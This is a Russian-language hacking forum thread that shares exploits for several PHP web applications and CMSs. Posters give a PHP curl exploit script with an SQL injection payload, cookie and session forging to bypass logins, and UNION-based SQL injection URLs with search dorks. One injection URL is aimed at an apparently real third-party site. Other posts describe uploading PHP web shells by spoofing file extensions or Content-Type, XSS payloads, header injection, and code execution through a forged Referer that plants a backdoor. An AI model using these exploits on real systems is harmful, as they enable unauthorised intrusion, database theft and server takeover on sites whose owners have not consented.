foreach ([/COLOR][COLOR="#0000BB"]array_keys[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'opt'[/COLOR][COLOR="#007700"]]) as[/COLOR][COLOR="#0000BB"]$k[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]db_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"REPLACE INTO `opt` (`name`, `value`) VALUES ('[/COLOR][COLOR="#0000BB"]$k[/COLOR][COLOR="#DD0000"]', '[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'opt'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$k[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"]')"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"location: index.php"[/COLOR][COLOR="#007700"]);
}
}
....
[/COLOR][COLOR="#0000BB"]$r[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]db_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT * FROM `opt`"[/COLOR][COLOR="#007700"]);
while ([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_fetch_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$r[/COLOR][COLOR="#007700"]))
[/COLOR][COLOR="#0000BB"]$opt[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]]] =[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'value'[/COLOR][COLOR="#007700"]];
[/COLOR][/COLOR]
Есть мини сплоент
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"http://127.0.0.1/be/www/index.php"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"opt[cmd'/*]=*/, (select version()) ) -- 1"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]);
function[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$post[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$refer[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curl_init[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_USERAGENT[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"Opera/9.61 (Windows NT 5.1; U; Edition Campaign 05; en) Presto/2.1.1"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_POST[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_POSTFIELDS[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$post[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_REFERER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$refer[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_COOKIE[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"PHPSESSID=7ea3b2c1f4150f4948555ac26263dd33;"[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// нужно указать свой для авторизации
[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_FOLLOWLOCATION[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_RETURNTRANSFER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$answer[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curl_exec[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"]);
return[/COLOR][COLOR="#0000BB"]$answer[/COLOR][COLOR="#007700"];
}
[/COLOR][/COLOR]
Кстати, если есть доступ к северу с сайта соседа и место хранения сессий одинаковое (/tmp/ например) сессию можно легко подделать. Там не проверяются логин и пароль, а проверяется auth на значение true
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'auth'[/COLOR][COLOR="#007700"]]))[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"location: index.php"[/COLOR][COLOR="#007700"]);
[/COLOR][/COLOR]
Для этого создаете в хранилище файл с названием sess_123456 и содержанием auth|b:1; , после чего в Cookie подменяете PHPSESSID на 123456.
При использовании мультибайтовой кодировки в бд возможна еще иньекция в stat.php через addslashes(), но это думаю очень повезти должно.
2) Версия v1.8_VIP
Обход авторизации
Уязвимый код в index.php:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]$logined[/COLOR][COLOR="#007700"]= @[/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'logined'[/COLOR][COLOR="#007700"]];
if ([/COLOR][COLOR="#0000BB"]$logined[/COLOR][COLOR="#007700"]===[/COLOR][COLOR="#0000BB"]$pass[/COLOR][COLOR="#007700"])
{
[/COLOR][COLOR="#0000BB"]$logined[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"];
}
[/COLOR][/COLOR]
В cookie достаточно установить logined с любым значением и авторизация пройдет.
В админке есть 3 sql inj, через INSERT,DELETE и есть через REPLACE которая описана выше.
Опишу sql inj через insert
Уязвимый код в index.php:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]case[/COLOR][COLOR="#DD0000"]"add"[/COLOR][COLOR="#007700"]:
if (empty([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'url'[/COLOR][COLOR="#007700"]]))
break;
if (isset([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'country'[/COLOR][COLOR="#007700"]]))[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'country'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]strtoupper[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'country'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"INSERT INTO `files`
(`url`, `dnum`, `country`)
VALUES
('[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'url'[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"]', '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]intval[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dnum'[/COLOR][COLOR="#007700"]]).[/COLOR][COLOR="#DD0000"]"', '[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'country'[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"]')
"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"location: index.php"[/COLOR][COLOR="#007700"]);
break;
[/COLOR][/COLOR]
Для эксплатации в
url пишем test' /*
в for country: пишем */ ,'1', (select version()) )--
Тут есть маленький подвох еще, длина поля country (в котором вывод) всего 10 символов, так что крутить придется выдирая данные частями либо через ошибку.
|
|
|
|

13.12.2011, 06:52
|
|
Guest
Сообщений: n/a
Провел на форуме: 29020
Репутация:
55
|
|
SimpleVideoScript (на данный момент последняя версия)
Оф. сайт: http://www.bonkenscripts.com/
Раскрытие путей:
Код:
Code:
Раскрытие путей через session_start() в admin.php
http://127.0.0.1/video/videos/watch.php?id[]=111
пассивная xss через $_SERVER['PHP_SELF'] в шаблоне
[CODE]
Code:
http://127.0.0.1/video/index.php/'>alert(/xss/)alert(/xss/)
alert(/hello world/)"[/COLOR] name="domain">
document.forms["form"].submit();
[/COLOR]
[/PHP]
то получим активную xss на главной
|
|
|
|

13.12.2011, 11:38
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме: 69033
Репутация:
8
|
|
Сообщение от trololoman96
trololoman96 said:
SimpleVideoScript
(на данный момент последняя версия)
Оф. сайт:
http://www.bonkenscripts.com/
поэтому есть еще одна sql inj которой
register_globals = on
не нужен
Exploit:
Код:
Code:
http://site.ru/videos/watch.php?id=111'+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13--+
Dork: intext:"Website by Bonken"
Пример инъекции:
Код:
Code:
_ttp://3gtv.dk/videos/watch.php?id=111'+union+select+1,@@version,3,4,5,6,7,8,9,10,11,12,13+and+'a'='b
|
|
|

18.12.2011, 05:28
|
|
Guest
Сообщений: n/a
Провел на форуме: 2371
Репутация:
32
|
|
Fapos CMS 1.3 RC3
Fapos CMS 1.3 RC3
Forum Module 1.5.3.7
Dork: Сайт управляется Бесплатной CMS Fapos
File Upload в модуле Forum [ \modules\forum\index.php].
При добавлении новой темы:
Код:
Code:
private $denyExtentions = array('.php', '.phtml', '.php3', '.html', '.htm', '.pl', '.PHP', '.PHTML', '.PHP3', '.HTML', '.HTM', '.PL', '.js', '.JS');
if (!empty($_FILES[$attach_name]['name'])) {
// Извлекаем из имени файла расширение
$ext = strrchr($_FILES[$attach_name]['name'], ".");
// Формируем путь к файлу
if (in_array( $ext, $extentions))
$file = $post_id . '-' . $i . '-' . date("YmdHi") . '.txt';
else
$file = $post_id . '-' . $i . '-' . date("YmdHi") . $ext;
$is_image = (in_array($ext, $img_extentions)) ? 1 : 0;
// Перемещаем файл из временной директории сервера в директорию files
if (move_uploaded_file($_FILES[$attach_name]['tmp_name'], R . 'sys/files/forum/' . $file)) {
chmod(R . 'sys/files/forum/' . $file, 0644);
При добавлении нового поста прикрепленным файлом:
Код:
Code:
private $denyExtentions = array('.php', '.phtml', '.php3', '.html', '.htm', '.pl', '.PHP', '.PHTML', '.PHP3', '.HTML', '.HTM', '.PL', '.js', '.JS')
if (!empty($_FILES[$attach_name]['name'])) {
// Извлекаем из имени файла расширение
$ext = strrchr($_FILES[$attach_name]['name'], ".");
// Формируем путь к файлу
if (in_array( $ext, $extentions) || empty($ext)) {
$file = $post_id . '-' . $i . '-' . date("YmdHi") . '.txt';
} else {
$file = $post_id . '-' . $i . '-' . date("YmdHi") . $ext;
}
$is_image = 0;
if ($_FILES[$attach_name]['type'] == 'image/jpeg'
|| $_FILES[$attach_name]['type'] == 'image/jpg'
|| $_FILES[$attach_name]['type'] == 'image/gif'
|| $_FILES[$attach_name]['type'] == 'image/png') {
$is_image = 1;
}
// Перемещаем файл из временной директории сервера в директорию files
if (move_uploaded_file($_FILES[$attach_name]['tmp_name'], R . 'sys/files/forum/' . $file)) {
chmod(R . 'sys/files/forum/' . $file, 0644);
После загрузки шелл будет:
Код:
Code:
[target]/sys/files/forum/$post_id-$i-date("YmdHi").pHp [Имя файла можно посмотреть в созданном вами посте]
Еще забавная штука: если разрешено оставлять комментарии юзеру с правами "Гость", можно комментировать от любого имени (даже админского =)).
|
|
|
|

23.12.2011, 05:10
|
|
Guest
Сообщений: n/a
Провел на форуме: 2371
Репутация:
32
|
|
Saurus CMS CE Version 4.7 @ 01.12.2011 [http://www.saurus.info/get-saurus-cms/]
HTTP Response Splitting/Path Disclosure
Уязвимость существует при обработке входных данных в параметре "url" сценария "redirect.php" [/editor/redirect.php].
Код:
Code:
if($_GET['url'])
{
$url = urldecode($_GET['url']);
//prevent Response Splitting attack
$url = preg_replace("!\r|\n.*!s", "", $url);
header('Location: '.$_GET['url']);
}
else
{
header('Location: index.php');
}
Код:
Code:
http://[host1]/sau/editor/redirect.php?url=http://[host2]/target.php%0d%0aSet-Cookie: Name=Value
Интерпретатор PHP содержит защиту от атак, начиная с версий 4.4.2 и 5.1.2.
В виду того, что у меня в наличии имеется только версия PHP Version 5.2.12, попробовать не удалось.
Поэтому, Path Disclosure:
Код:
Code:
http://www.saurus.info/editor/redirect.php?url=%0D%0ALocation:%20http://www.google.com
=> Warning: Header may not contain more than a single header, new line detected. in /data01/virt2962/domeenid/www.saurus.ee/htdocs/editor/redirect.php on line 88
Код:
Code:
Path Disclosure: Illegal Session Injection
Пишем вместо PHPSESSID всякую #$&%^**(@#:
=> Warning: session_start() [function.session-start]: The session id is too long or contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in /data01/virt2962/domeenid/www.saurus.ee/htdocs/index.php on line 236
Способы заливки шелловопубликованы: [#_1] [#_2]
|
|
|
|

28.12.2011, 14:07
|
|
Guest
Сообщений: n/a
Провел на форуме: 2371
Репутация:
32
|
|
Fapos CMS 1.3 RC3
Foto Module
Dork: Сайт управляется Бесплатной CMS Fapos
File Upload в модуле Foto [ /foto/add_form/], при добавлении нового материала в фотокаталог. Обход проверки осуществляется подделкой Сontent-Type.
Код:
Code:
/* check file */
if (empty($_FILES['foto']['name'])) {
$error = $error .''.__('Not attaches').''. "\n";
} else {
if ($_FILES['foto']['size'] > Config::read('max_file_size', 'foto'))
$error = $error .''. sprintf(__('Wery big file2'), Config::read('max_file_size', 'foto')/1000) .''."\n";
if ($_FILES['foto']['type'] != 'image/jpeg' &&
$_FILES['foto']['type'] != 'image/gif' &&
//$_FILES['foto']['type'] != 'image/bmp' &&
$_FILES['foto']['type'] != 'image/png')
$error = $error .''.__('Wrong file format').''."\n";
}
Шелл будет находиться:
Код HTML:
HTML:
http://[target]/sys/files/foto/full/[№file].php
|
|
|
|

29.12.2011, 19:24
|
|
Guest
Сообщений: n/a
Провел на форуме: 29020
Репутация:
55
|
|
PHPru Search v.2.6
Произвольное выполнение php кода
Уязвимый код в index.php
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]$NEW[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]time[/COLOR][COLOR="#007700"]().[/COLOR][COLOR="#DD0000"]'^^'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$searchstring[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'^^'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"HTTP_REFERER"[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]'^^'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$IP[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]PHPruSave[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$NEW[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'sinc/query.php'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'a+'[/COLOR][COLOR="#007700"]);
[/COLOR][/COLOR]
Для эксплуатации уязвимости нужно выполнить поиск по сайту с любым кейвордом при этом подделав свой реффер например через плагин tamper data для файрфокса на что то типа такого
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
после чего идем сюда:
Код:
Code:
http://127.0.0.1/phprusearch/sinc/query.php?cmd=phpinfo();
и делаем уже с бекдором то что хотим
|
|
|
|
|
 |
|
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
Библиотека
|
SladerNon |
Болталка |
17 |
05.02.2007 23:30 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|